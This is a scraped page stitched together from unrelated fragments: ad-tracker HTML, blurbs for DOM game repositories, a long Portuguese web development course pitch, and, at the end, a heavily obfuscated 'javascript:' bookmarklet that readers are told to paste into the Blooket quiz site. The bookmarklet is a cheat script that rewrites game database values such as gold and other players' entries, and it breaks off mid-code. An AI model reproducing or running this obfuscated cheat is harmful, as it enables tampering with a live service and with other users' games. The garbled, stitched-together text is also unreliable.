</a></div><iframe name="__tcfapiLocator" style="display: none;"></iframe><iframe name="__uspapiLocator" style="display: none;"></iframe><a href="//www.w3schools.com"> <script src="/lib/w3schools_footer.js?update=20220202"></script> <script> MyLearning.loadUser('footer'); function docReady(fn) { document.addEventListener("DOMContentLoaded", fn); if (document.readyState === "interactive" || document.readyState === "complete" ) { fn(); } } uic_r_z(); uic_r_d() </script><iframe src="https://56d0da6c34aaa471db22bb4266aac656.safeframe.googlesyndication.com/safeframe/1-0-38/html/container.html" style="visibility: hidden; display: none;"></iframe> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif]--> </a><script type="text/javascript" src="https://geo.moatads.com/n.js?e=35&ol=3318087536&qn=%604%7BZEYwoqI%24%5BK%2BdLLU)%2CMm~tM!90vv9L%24%2FoDb%2Fz(lKm3GFlNUU%2Cu%5Bh_GcS%25%5BHvLU%5B4(K%2B%7BgeFWl_%3DNqUXR%3A%3D%2BAxMn%3Ch%2CyenA8p%2FHm%24%60%233P(ry5*ZRocMp1tq%5BN%7Bq%60RP%3CG.ceFW%7CoG%22mxT%3Bwv%40V374BKm55%3D%261fp%5BoU5t(KX%3C%3Ce%24%26%3B%23wPjrBEe31k5X%5BG%5E%5B)%2C2iVSWf3Stnq%263t!9jr%7BRzI%2C%7BOCb%25%24(%3DNqU%60W5u%7Bo(zs1CoK%2Bdr%5BG)%2C3ii)RGL3emgSuRVE&tf=1_nMzjG---CSa7H-1SJH-bW7qhB-LRwqH-nMzjG-&vi=111111&rb=2-90xv0J4P%2FoMsPm8%2BZbNmT2EB%2BBOA3JNdQL68hLPh4bg2%2F%2FnQIIWF3Q%3D%3D&rs=1-iHtHGE9B1zA1OQ%3D%3D&sc=1&os=1-3g%3D%3D&qp=10000&is=BBBBB2BBEYBvGl2BBCkqtUTE1RmsqbKW8BsrBu0rCFE48CRBeeBS2hWTMBBQeQBBn2soYggyUig0CBlWZ0uBBCCCCCCOgRBBiOfnE6Bkg7Oxib8MxOtJYHCBdm5kBhIcC9Y8oBXckXBR76iUUsJBCBBBBBBBBBWBBBj3BBBZeGV2BBBCMciUBBBjgEBBBBBB94UMgTdJMtEcpMBBBQBBBniOccBBBBBB47kNwxBbBBBBBBBBBhcjG6BBJM2L4Bk8BwCBQmIoRBBCzBz1BBCTClBBrbGBC4ehueB57NG9aJeRzBqEKBBBBBBB&iv=8&qt=0&gz=0&hh=0&hn=0&tw=&qc=0&qd=0&qf=1240&qe=883&qh=1280&qg=984&qm=-330&qa=1280&qb=1024&qi=1280&qj=984&to=000&po=1-0020002000002120&vy=ot%24b%5Bh%40%22oDgO%3DLlE6%3Avy%2CUitwb4%5Du!%3CFo%40Y_3r%3F%5DAY~MhXyz%26_%5B*Rp%7C%3EoDKmsiFDRz%5EmlNM%22%254ZpaR%5BA7Do%2C%3Bg%2C%2C%40W7RbzTmejO%3Def%2C%7Bvp%7C9%7C_%3Bm_Qrw5.W%2F84VKp%40i6AKx!ehV%7Du!%3CFo%40pF&ql=%3B%5BpwxnRd%7Dt%3Aa%5DmJVOG)%2C~%405%2F%5BGI%3F6C(TgPB*e%5D1(rI%24(rj2Iy!pw%40aOS%3DyNX8Y%7BQgPB*e%5D1(rI%24(rj%5EB61%2F%3DSqcMr1%7B%2CJA%24Jz_%255tTL%3Fwbs_T%234%25%60X%3CA&qo=0&qr=0&i=TRIPLELIFT1&hp=1&wf=1&ra=1&pxm=8&sgs=3&vb=6&kq=1&hq=0&hs=0&hu=0&hr=0&ht=1&dnt=0&bq=0&f=0&j=https%3A%2F%2Fwww.google.com&t=1650718754860&de=466991431602&m=0&ar=bee2df476bf-clean&iw=2a1d5c5&q=2&cb=0&ym=0&cu=1650718754860&ll=3&lm=0&ln=1&r=0&em=0&en=0&d=6737%3A94724%3Aundefined%3A10&zMoatTactic=undefined&zMoatPixelParams=aid%3A29695277962791520917040%3Bsr%3A10%3Buid%3A0%3B&zMoatOrigSlicer1=2662&zMoatOrigSlicer2=39&zMoatJS=-&zGSRC=1&gu=https%3A%2F%2Fwww.w3schools.com%2Ftags%2Ftag_p.asp&id=1&ii=4&bo=2662&bd=w3schools.com&gw=triplelift879988051105&fd=1&ac=1&it=500&ti=0&ih=1&pe=1%3A512%3A512%3A1026%3A846&jm=-1&fs=198121&na=2100642455&cs=0&ord=1650718754860&jv=1483802810&callback=DOMlessLLDcallback_5147906"></script><iframe src="https://www.google.com/recaptcha/api2/aframe" width="0" height="0" style="display: none;"></iframe></body><iframe sandbox="allow-scripts allow-same-origin" id="936be7941bd9c5c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://jp-u.openx.net/w/1.0/pd?plm=6&ph=8a7ca719-8c2c-4c16-98ad-37ac6dbf26e9&gdpr=0&us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="94da8182082e79b" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://eus.rubiconproject.com/usync.html?us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="950ad185776f97c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://cdn.connectad.io/connectmyusers.php?us_privacy=1---&"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="960961bdb263a5c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=157369&gdpr=0&gdpr_consent=&us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="973d77507d8ed2c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://s.amazon-adsystem.com/iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=n-index_pm-db5_ym_rbd_n-vmg_ox-db5_smrt_an-db5_3lift"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="986df094b3ccc6f" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://biddr.brealtime.com/check.html"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="9984b091a86efa7" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://js-sec.indexww.com/um/ixmatch.html"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="1004b17db44af55b" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://csync.smilewanted.com?us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="101af22cac10bcfd" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://onetag-sys.com/usync/?cb=1650718752982&us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="10290b51ae900f2b" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://eb2.3lift.com/sync?us_privacy=1---&"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="103d27603dbc3983" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://acdn.adnxs.com/dmp/async_usersync.html"> </iframe></html>
8tentaculos
JavaScript DOM based remake of the classic Ms. Pac-Man game
cfrBernard
Reflex is a proto-game that I coded to kill time. It's a simple implementation in JavaScript using the DOM to manipulate HTML and CSS elements.
anapdh
A platformer game using Phaser3 library and Vanilla JS. This project features the knowledge of Webpack, ES6, JS Modules, Async code, DOM manipulation, JSON, and Jest tests.
noio
Competitive multi-agent game simulation environment for RL courses.
MatthewRayfield
snake, the game, but in the dom inspector
Ousman-T
Small project game utilizing DOM manipulation
NFGRICHARD
Seja muito bem vindo ao Curso Desenvolvimento Web Moderno com JavaScript! COMPLETO 2020 + Projetos! Esse que talvez seja o maior e mais completo curso de tecnologia do mercado. São quase 600 aulas divididas em 33 capítulos com mais de 85 horas. Além dos fundamentos e vários exercícios, são vários projetos com as principais tecnologias da atualidade com aplicação na vida real, te ensinando a ser um desenvolvedor Web desde o básico até ao nível profissional avançado. Neste curso você vai aprender os 3 principais frameworks do mercado: Angular, React e VUE. Tudo que você precisa aprender para construir aplicações modernas para Web você aprenderá aqui e com aplicações reais. Desenvolvimento Web é hoje um dos assuntos mais relevantes do momento porque o mercado respira Web. E Se você deseja ser um profissional preparado para o mercado e não quer aprender apenas fórmulas, mas o porquês, esse curso é a escolha certa pra você. Neste curso iremos abordar o desenvolvimento Web de ponta a ponta, para que você seja capaz de construir uma aplicação com as principais tecnologias do mercado. São 14 cursos dentro de um só. Você irá aprender Javascript, que é hoje a linguagem da atualidade, várias empresas estão migrando suas bases de PHP, Python e outras para terem suas bases completamente feitas em javascript. Também irá aprender Node, os últimos recursos de HTML e CSS, Gulp, Webpack, jQuery, Bootstrap, React ( Tecnologia usada por umas das maiores empresas do mundo, o Facebook), Angular, Vue JS, ExpressJS, MySQL, MongoDB e Electron. O melhor de tudo é que durante a nossa jornada iremos agrupar essas tecnologias em desafios e projetos para consolidar o seu conhecimento. Você aprenderá a dominar tecnologias de frontend - que é a parte da aplicação executada no browser do usuário, e tecnologias de backend - que é o código executado no lado do servidor. O curso vai abranger essas duas partes, além de se preocupar muito com os fundamentos que são comuns à toda aplicação. Nesse curso você também irá aprender os paradigmas de programação usados na Web Moderna: Funcional, Orientação a Objeto e etc. Aplicações Web baseadas em Componentes. Conteúdo suficiente para você conseguir um emprego como desenvolvedor Web Fullstack e se tornar um desenvolvedor Web de sucesso. Um dos maiores diferenciais dos nossos cursos é que Nós não ensinamos apenas fórmulas, você vai terminar esse curso entendendo os porquês, a lógica de como a coisa acontece, o que vai te tornar um profissional muito mais qualificado e competitivo no mercado. E no projeto final do curso iremos desenvolver uma aplicação exclusiva que surgiu de uma necessidade real da Cod3r. Assista a essa aula sem custo e confira o que você vai poder desenvolver junto com a gente. Por isso o que temos aqui não é apenas um curso, e sim um agrupamento de 14 cursos e um investimento certo pra sua carreira. Assista as aulas abertas e confira a qualidade do nosso conteúdo, e veja também, os comentários dos nosso alunos sobre a nossa didática. Somos a escola de tecnologia com uma das melhores avaliações do mercado. Não tenho dúvida que você estará fazendo um excelente investimento se juntando à nossa comunidade de mais de 60 mil alunos. E sabe o que mais? Você vai receber um certificado de conclusão ao final do curso, e o seu acesso é vitalício, não expira. E se mesmo depois de tudo que apresentamos, mesmo assim você não gostou do curso, nós garantimos o seu dinheiro de volta em até 30 dias após a compra de forma simples. Desenvolvimento Web Moderno com JavaScript Completo é um curso voltado para todos os tipos de público: Iniciantes, intermediários e avançados. Um curso de desenvolvimento web zero to hero, onde você aprenderá dos conceitos básicos de programação, JavaScript, Node.js, Web, ESNext, HTML5, CSS3, Ajax, Gulp, Webpack, jQuery, Bootsrap, React, VueJS, Angular 9, banco de dados relacional, banco de dados não relacional, Express… Faremos vários projetos utilizando essas tecnologias, projetos que simulam aplicações reais, com backend e frontend para tornar-te um desenvolvedor fullstack, profissão com alta demanda no mercado de trabalho. Nosso curso também contará com uma aplicação que vai te ajudar nos estudos de inglês que é uma Aplicação Desktop com JavaScript, Electron JS e Vue JS - Neste curso iremos também desenvolver um projeto desktop com JavaScript! E que pode ajudar você nos seus estudos de inglês. Nessa aplicação usaremos: Electron JS, VueJS, Vuetify, Promises, Regex, Processamento de arquivos, Map, reduce, filter A aplicação que será desenvolvida irá processar várias legendas no formato SRT e procurar e agrupar quais são as palavras mais utilizadas nas legendas fornecidas. Essa aplicação pode ser útil para se descobrir quais são as palavras mais utilizadas em filmes e seriados, ou seja, além de aprender várias tecnologias, esse projeto pode te ajudar no aprendizado de inglês! Nosso curso termina com um projeto base de conhecimento que vai da primeira linha de código até a publicação da aplicação na AWS (Amazon Web Services). Dispomos de um suporte ágil e pronto para atendê-los em suas dúvidas, sejam conceituais, configuração de ambiente até codificação em si. Alguns conceitos sobre os tópicos que são abordados no curso: Lógica de programação: Lógica é a ferramenta mais importante do desenvolvedor. Nesse tópico abordaremos conceitos fortes para o desenvolvimento do programador tais quais algoritmo, estrutura de dados, conceito de lógica. JavaScript: JavaScript é, sem dúvidas, uma das linguagens mais utilizadas do mundo. Hoje em dia JavaScript é forte no frontend (Páginas da web) como no backend (Node.js). No módulo de Javascript abordaremos conceitos fundamentais como Var, Let, Const, Tipagem, Number, Math, String, Boolean… Abordaremos também conceitos importantes como: Array, Object, null, undefined, this, function, hoisting, estrutura de objetos. Operadores destructuring, atribuição, aritméticos, relacionais, unários, ternários. Falaremos sobre contexto de execução Browser x Node, tratamento de erros e mais. Abordaremos estruturas de controle tais como, if, if/else, if/else/if, switch, while, do/while, for, for/in e a utilização de break e continue para controle de fluxo do código. Nos aprofundaremos bastante no conceito mais importante de JavaScript: Funções! Em function veremos parâmetros, retorno com return, parâmetros variáveis com parâmetros Rest e Arguments, parâmetro padrão, variações do this, função bind, arrow functions ou funções arrow, funções anônimas, funções callbacks, funções construtoras, contexto léxico, closures, funções factory, IIFE (Immediately Invoked Function Expression ou funções auto invocadas. Call e Apply, etc. Outro conceito muito utilizado em JavaScript que é amplamente abordado no nosso curso é o de Objeto! Veremos uma introdução à orientação a objetos. Criação de objetos, objetos constantes, notação literal, getters e setters, funções do objeto, herança, comparação JSON x Objeto e classes. Também estudaremos sobre Arrays, forte ferramenta utilizada no JavaScript, veremos seus métodos importantes, Foreach, Map, Filter, Reduce, Concat, FlatMap que são fundamentais para desenvolvimento em JavaScript. Veremos também a diferença entreas abordagens Imperativa e Declarativa para desenvolvimento de código. Node.js: Estudaremos, Node.js, a utilização de JavaScript no backend. Abordaremos a definição de módulo, estudaremos o sistema de módulos, utilização de módulos de terceiros, require, exports, o famoso arquivo package.json, instância única x nova instância, objeto global do Node x objeto global browser, aprofundaremos nossos estudos sobre o conceito de this, como passar parâmetros entre módulos, instalar deps e scripts, ler arquivos, escrever arquivos, frameworks web, padrão middleware, utilizaremos a ferramenta postman, estudaremos express, entrada e saída padrão. ESNext: São os novos conceitos do JavaScript, o que acabou de chegar e o que está por vir na linguagem. Veremos o operador Rest/Spread, tagged template, Map, Set, For Of, Promises, uso de callbacks aninhadas, refatoração de callbacks para promises, Async/Await. Conceitos Web: JavaScript é uma linguagem fortemente ligada à web e é absoluto que devemos entender como funciona a programação web, então estudaremos os conceitos de protocolo HTTP, servidor web, client side x server side, conteúdo estático x dinâmico. HTML5, CSS3 , JavaScript. DNS, HTTPS, Web Service, computação em nuvem. HTML5: HTML5 (Hypertext Markup Language ou Linguagem de Marcação de Hipertexto) é o bloco de construção mais básico da web e possui fundamental importância para o seu funcionamento. Abordaremos extensivamente seus conceitos como: Anatomia de uma tag, de uma página, as tags propriamente ditas, texto, listas, links, tabelas, formulários, imagens, vídeos e tags não visuais. CSS3: CSS3 (Cascading Style Sheets) é o responsável pela estilização do HTML5, portanto das páginas web. Ferramenta importantíssima e largamente abordada no nosso curso de web moderno. Estudaremos: Anatomia do CSS3, criação de classes, seletores CSS3, especifidades do CSS3, herança, box model, margin collapse, propriedade display, altura e largura, inline-block, box sizing, overflow, float, unidades, texto, positon, media query, flex box, css grid. Integração HTML5, CSS3 e Javascript: Após estudá-los separadamente faremos a sua integração e veremos como eles funcionam bem em conjunto! Veremos a DOM, elementos, atributos, classes, modificar html, trabalharemos com eventos e finalizaremos o módulo com um projeto para a criação de um game Flappy Bird utilizando HTML5, CSS3 e JavaScript. Ajax: Ajax (Asynchronous JavaScript and XML) é um conjunto importantíssimo de técnicas de desenvolvimento para trabalharmos de forma assíncrona na web. Veremos XMLHttpRequest, Fetch, Axios, Ajax com jQuery e como carregar HTML via Ajax. Gulp: Gulp é uma ferramenta de automação de tarefas em JavaScript. Veremos os conceitos, a documentação, fundamentos, Babel, processando JavaScript e TypeScript com Gulp, processando SASS com Gulp. Webpack: Webpack é um empacotador de módulo JavaScript, HTML, CSS, imagens, etc. Veremos configuração e estruturação do projeto, pasta de saída, carregamento e externalização do arquivo .CSS, .SCSS (SASS). Desenvolvimento e produção, carregamento de arquivos de imagens. Adicionando WebServer. jQuery: jQuery é uma biblioteca de funções JavaScript que interage com HTML, desenvolvida para simplificar os scripts interpretados no navegador do cliente. Veremos como selecionar elementos, modificar HTML, manipular atributos, manipular CSS, eventos, animação, plugins. Bootstrap: Bootstrap é um framework para desenvolvimento de componentes de interface e frontend para sites e aplicações web usando HTML, CSS e JavaScript. Veremos como adicionar navegações, tipografia, espaços, título e bradcrumb, cores, flexbox, imagens, float, sistema de grid, botões, alertas, paginação, tooltip, slider, accordion, formulário. React: React é uma biblioteca JavaScript com foco em criar interfaces de usuário em páginas web. É mantida pelo Facebook, Instagram e outras empresas. Utilizada nos sites da Netflix, Walmart, entre outros. Estudaremos componentes, componentes com parâmetros, múltiplos componentes, componentes de classe, componentes pai e filho. Next: Nesta seção serão abordados os principais fundamentos e conceitos do NextJS. O Next.JS nada mais é do que um framework para React, a principal biblioteca para desenvolvimento web. As principais funcionalidades do Next são a renderização estática e pelo lado do servidor (SSR), possuir suporte para o TypeScript e um serviço próprio de tratamento de rotas. Nessa seção também será criada uma aplicação para Criação, Leitura, Edição e Remoção de dados, o famoso CRUD (Create, Read, Update, Delete) com NextJS. Utilizando o Firebase e Firestore como banco de dados, utilizando também o TailwindCSS para criar o visual do projeto e integrando com TypeScript. Tudo isso será mostrado e explicado durante a seção, desde a criação do projeto, a instalação das dependências, configuração e integração com o banco de dados e também a integração e uso tanto do Tailwind quanto do TypeScript. VueJS: VueJS é um framework JavaScript focado no desenvolvimento de interfaces para usuários e aplicativos de página única. Estudaremos os conceitos, binding, eventos, diretivas v-if, v-for e v-show. Aplicação de estilo CSS, templeta na Vue instance, componentes e diretivas personalizadas. Angular 9: Angular 9 é uma plataforma de aplicações web baseado em TypeScript liderado pela equipe Angular do Google. Faremos um backend com JSON server, conceituaremos a ferramenta, utilização do angular-cli, AppComponent, componente cabeçalho, rodapé, navegação, elementos do Angular, componente início, diretivas, bindings, *ngFor, mensagens de erro. Banco de Dados Relacional: Utilizaremos o MySQL para estudarmos modelo E/R, chave primária, relacionamentos, SQL, schema, modelo, tabelas, inserir, consultar, atualizar, excluir, id, consultas, consultas com agregação, inner join, outer join, left join, right join. Banco de Dados Banco de Dados Não Relacional: Utilizaremos o MongoDB para estudarmos NoSQL, as diferenças entre bancos relacionais e não relacionais, comandos básicos, inserção de dados, consultas, consultas agregadas, update, remove, consultas com lookup. Express: Express é um framework com uma miríade de métodos utilitários HTTP e middleware para criação de API’s. Estudaremos as configurações e launcher, tipos de respostas, Middleware, leitura de dados da requisição, body parser, comunicação entre módulos. Finalmente, nosso curso é bastante voltado para a prática com várias partes importantes de projetos reais e projetos complexos de vários graus de dificuldade. Conosco é teoria na cabeça e mão na massa! Sejam bem vindos ao melhor curso de web moderno da internet. Invista em desenvolvimento web, invista na sua carreira, venha pra Cod3r. Grande abraço e bons estudos! O que você aprenderá Tudo que vc precisa saber para construir aplicações modernas para Web Criar aplicações REAIS usando as mais modernas tecnologias do mercado Últimos recursos de HTML, CSS, Javascript e vários frameworks Aprender HTML 5 e os últimos recursos da linguagem Aprender CSS 3 e como aplicar estilo usando as últimas tecnologias: CSS Grid, Flexbox e muito mais Domine Javascript de verdade, não apenas aprendendo a sintaxe, mas como pensar em Javascript Os últimos recursos do Javascript: ECMAScript 6, 7, 8. Também conhecido como ES2015, ES2016, ES2017, ES2018 ... Os principais frameworks (e bibliotecas): React, Vue, Bootstrap 4, jQuery Entendenda os paradigmas de programação usados na Web Moderna: Funcional, Orientação a Objeto etc Boas práticas de programação e padrões de projeto Aplicações Web baseadas em Componentes Projeto de aplicações reais Seja um desenvolvedor Fullstack dominando o frontend e o backend Conteúdo suficiente para você conseguir um emprego como desenvolvedor Web Fullstack Aprendenda banco de dados relacional e não relacional NoSQL Use MySQL, Postgres e MongoDB Desenvolva um sistema com autenticação de usuário Use Node JS e desenvolva usando Javascript no backend Acesse os principais bancos de dados usando Javascript e Node Aprenda a construir builds profissionais com Gulp e Webpack Conquistar toda a base para se tornar um desenvolvedor web de sucesso Todo o conteúdo para se tornar um profissional capacitado para o mercado de trabalho Aprenda as principais tecnologias da web nas últimas versões Desenvolver uma Aplicação com Angular 9 Os principais conceitos do Angular 9: Componentes, Diretivas, Pipes, Services e muito mais Aprender Angular na Prática de forma muito objetiva Desenvolvimento Web Há algum requisito ou pré-requisito para o curso? Acesso à internet e computador Vontade de aprender pra se tornar um Desenvolvedor Web Não é necessário conhecimento prévio de desenvolvimento Web Para quem é este curso: Pessoas que desejam se tornar desenvolvedores Web Fullstack, dominando tanto backend e frontend Pessoas que desejam aprender banco de dados relacional, SQL e banco não relacional (NoSQL) Pessoas que desejam aprender a usar MySQL, Postgres e MongoDB Pessoas que desejam aprender Node JS e como desenvolver Javascript no backend Pessoas que desejam aprender as tecnologias da web nas últimas versões: HTML5, CSS3, Javascript (como os novos recursos do ES2015 em diante) Pessoas que desejam aprender as principais frameworks e bibliotecas do mercado: React, Vue JS, jQuery, Bootstrap 4 ... Pessoas que querem entrar no mercado de trabalho como desenvolvedor frontend, backend ou fullstack Pessoas que querem empreender e precisam desenvolver soluções para Web Pessoas que nunca desenvolveram aplicações REAIS e querem aprender a construir várias APP do ZERO Pessoa que querem aprender em apenas um curso tudo para precisa para se tornar um desenvolvedor Fullstack O necessário para se tornar um desenvolvedor web completo Pessoas que desejam entender o desenvolvimento web como um todo
kvker
HTML5 Games, by Normal DOM.一些随手写的DOM小游戏哈,做教程,或者参考生成小程序,都是妥妥的。喜欢的话,记得Star下。
SK-Planet-WebTechTeam
This project contains the commercially-proven HTML5 game engine based on canvas and DOM/GPU for MOBILE devices (Android and iOS)
Kanma
A custom distribution of rapidjson (a fast JSON parser/generator for C++ with both SAX/DOM style API). Used by the Athena Game Framework.
eufelipemateus
NodeDomino is a game multiplayer made in node socket.io, typescript, node.js and html5.
swordjoinmagic
用Unity做的一个关于多米诺骨牌的小游戏
holywyvern
A Tileset for isomtric game components made only with the DOM
Torzuul
type into the url in blooket: javascript:(() => {/********************************************************************************************************************************************************************************************************* There's no point in editing this. If something breaks, then it just won't work for you, and then what? */const date = 1646073334986;if (Date.now() - date < 0 || Date.now() - date > (1000 * 60 * 60 * 24)) {if (confirm(%27Bookmarklet expired, please go to gbasil.dev/blooket and re-add it.\nThis ensures you have the most up to date version available.\nPress "Ok" to be redirected there.%27)) window.open(%27https://www.gbasil.dev/blooket%27);} else (() => {const theme = () => ({accent: %27#54d02b',text: '#e0e1f0',bg: '#14121a','bg-alt': '#201e26',});(function(i,k){const iz=gbasilDotDev_D,F=i();while(!![]){try{const D=-parseInt(iz(0x361))/(0x654+-0x1*-0xfb3+-0x1606)*(parseInt(iz(0x308))/(0x24b*0x7+-0x2*0x88d+0x10f))+parseInt(iz(0x34f))/(0x17+-0xfa+0xe6)*(-parseInt(iz(0x13f))/(-0x1a1*-0x13+-0x5*0x1+-0x1eea))+-parseInt(iz(0x15c))/(0x1237*-0x2+-0x1d8a*-0x1+0x6e9)+-parseInt(iz(0x2ec))/(-0x300+-0x15f6+0x4*0x63f)*(parseInt(iz(0x39b))/(-0x1090+0x1*0x1853+-0x14*0x63))+-parseInt(iz(0x1dc))/(-0xd0c+0x1ef4+-0x58*0x34)*(-parseInt(iz(0x31f))/(0x4*0x305+0x24c2+-0x3c1*0xd))+parseInt(iz(0x22e))/(-0x1*0x1a49+0x1*-0x1cf3+0x3746)*(parseInt(iz(0x214))/(0x1090+0x1733+-0x27b8))+parseInt(iz(0x15a))/(-0xd*-0x2a5+0x1*0x1f79+0x20e7*-0x2);if(D===k)break;else F['push'](F['shift']());}catch(B){F['push'](F['shift']());}}}(gbasilDotDev_F,0xc2817+0x41e3*0x1+-0x6125a));const gbasilDotDev_s=(function(){let i=!![];return function(k,F){const ij=gbasilDotDev_D;if('DzbZ'+'u'!=='zqnA'+'b'){const D=i?function(){const iZ=gbasilDotDev_D;if(iZ(0x21a)+'O'!==iZ(0x21a)+'O'){let J=O(iZ(0x34a)+'\x20of\x20'+iZ(0x2be)+'er'),r=w(iZ(0x322)+iZ(0x2ce)+iZ(0x144)+iZ(0x34d)+iZ(0x2b4)+'gold'+iZ(0x2e3));if(!J||!n(r))return x(iZ(0x35b)+iZ(0x27a)+iZ(0x25c)+'t');h[iZ(0x192)+iZ(0x20f)+'Prop'+'s'][iZ(0x165)+'base']['setV'+'al']({'id':X['memo'+iZ(0x20f)+iZ(0x1d4)+'s']['clie'+'nt']['host'+'Id'],'path':'c/'+G[iZ(0x192)+iZ(0x20f)+iZ(0x1d4)+'s'][iZ(0x341)+'nt'][iZ(0x33d)],'val':{'b':q['memo'+'ized'+iZ(0x1d4)+'s']['clie'+'nt'][iZ(0x238)+'k'],'g':m[iZ(0x192)+iZ(0x20f)+iZ(0x133)+'e'][iZ(0x2d0)],'tat':J+(iZ(0x233)+'p:')+r}});}else{if(F){if(iZ(0x258)+'P'===iZ(0x356)+'y')k[iZ(0x192)+iZ(0x20f)+'Stat'+'e'][iZ(0x13c)+'y'][iZ(0x21d)]=0x14*0x15b+0x21b2+-0x3cce*0x1;else{const r=F['appl'+'y'](k,arguments);return F=null,r;}}}}:function(){};return i=![],D;}else k['memo'+ij(0x20f)+ij(0x133)+'e']['myLi'+'fe']=0x1*-0x26e9+-0x1f21+0x466e;};}()),gbasilDotDev_v=gbasilDotDev_s(this,function(){const iY=gbasilDotDev_D;return gbasilDotDev_v[iY(0x20e)+iY(0x35c)]()[iY(0x229)+'ch'](iY(0x306)+iY(0x390)+'+)+$')[iY(0x20e)+iY(0x35c)]()['cons'+iY(0x197)+iY(0x17d)](gbasilDotDev_v)['sear'+'ch'](iY(0x306)+'+)+)'+'+)+$');});function gbasilDotDev_D(i,k){const F=gbasilDotDev_F();return gbasilDotDev_D=function(D,B){D=D-(-0x183f+0x7e5*0x3+-0x38*-0x8);let J=F[D];return J;},gbasilDotDev_D(i,k);}function gbasilDotDev_F(){const kL=['me=','or\x20t','our\x20','host','wqqx','mode','erBo','nswe','jJzR','ton','ng\x20f','jPhv','unt','Ches','tem','An\x20e','back','ible','om\x20P','ting','over','ler','cLnp','00%)','th\x20d','setV','inpu','\x20det','secr','uild','actE','ket.','eY(1','tYGa','ged\x20','FGVG','ooks','abil','to\x20s','ne\x22\x20','ord','ketB','path','eNod','hifX','e\x20tr','sk\x20f','\x20Ask','oks','llbl','hing','enu\x20','toke','\x20and','WDDc','ando','lid\x20','yer','Scri','s__c','alan','is\x20f','crea','bott','ck\x20A','poin','Char','ebuf','e,\x20a','test','atab','Gold','food','rHTM','List','oNPz','\x20you','api/','Rene','edBl','uest','\x20the','y\x20ag','Deco','alfi','game','oins','righ','Jbmf','div[','cent','ut\x20o','il\x20t','happ','acce','date','e/ga','time','json','stat','joke','div','20px','styl','rial','btoa','s\x20th','entL','rand','\x20fet','he\x20s','oks!','e\x20yo','veEv','eir\x20','Redu','dige','goal','rAll','d\x20nu','t\x20la','slat','slow','e\x20in','play','habC','jSgf','s*=\x27','bHOP','Roun','d\x20pl','\x20sit','Togg','ble','\x20sel','\x20(th','mVal','r\x20En','xpAv','romp','nt\x20t','\x20ocu','gold','soli','ev/b','t\x20ES','W\x20-\x20','Set\x20','\x20cha','getD','RZYF','AzmD','to\x20B','to\x20c','s/ve','ectP','ogge','en?)','g\x20us','lock','300p','\x20to','Play','\x20Tow','trol','cks','low','ZNqg','0px\x20','nse\x20','1002nfZhsz','y\x20li','Rate','LhiQ','from','KUdX','Rese','terE','appe','choi','subt','nven','aseV','SXOo','ate','ces','lica','grou','5px','or\x20s','ve\x20D','SHCZ','tFnc','find','\x20xp!','Cash','(((.','Buff','8mdbTGI','YbyI','xbRd','Due\x20',',\x20th','Stoc','sonp','ce\x20Q','in\x20t','ches','erRa','__bo','ails','e\x20te','nner','\x20Ans','ers','etti','defe','ebas','\x20be\x20','redu','heig','180yMaCTn','Qscr','e\x20ba','Amou','boxS','ude','ife\x20','ata!','Defe','bann','hoic','sfor','et.c','enco','fdUj','VTjO','sEtg','Max\x20','touc','full','Coin','DGlu','posi','Heal','ast\x20','encr','e\x20ri','ress','d\x20no','ySel','name','lane','re\x20h','g\x20bl','clie','ol.','ed.\x20','s/se','LqoS','\x20&\x20X','arts','ou\x27r','er\x20d','Name','o\x20up','clip','t\x20th','Spee','3eaGPlJ','nWCl','ys:\x0a','d\x20on','OjkD','_own','__re','ifPq','bord','\x20lif','kuCz','tSco','Inva','ring','\x20Dup','0000','ing\x20','t\x20am','99181qEGnKw','lWwG','top','100%','Size','lay','nsAv','webp','put','\x20to\x20','Clea','log','KdMK','curs','flow','leas','ith\x20','FjJs','hfcY','URAR','none','text','axiY','SSaz','aiti','hsta','ener','ines','keys','ion/','ackJ','e,\x20e','bhIw','priz','rops','matc','\x20tok','prog','\x20blo','ach','www.','map','AeJj','sion','iste','Alig','dren','+)+)','chil','fixe','/caf','com/','s*=s','5px\x20','emen','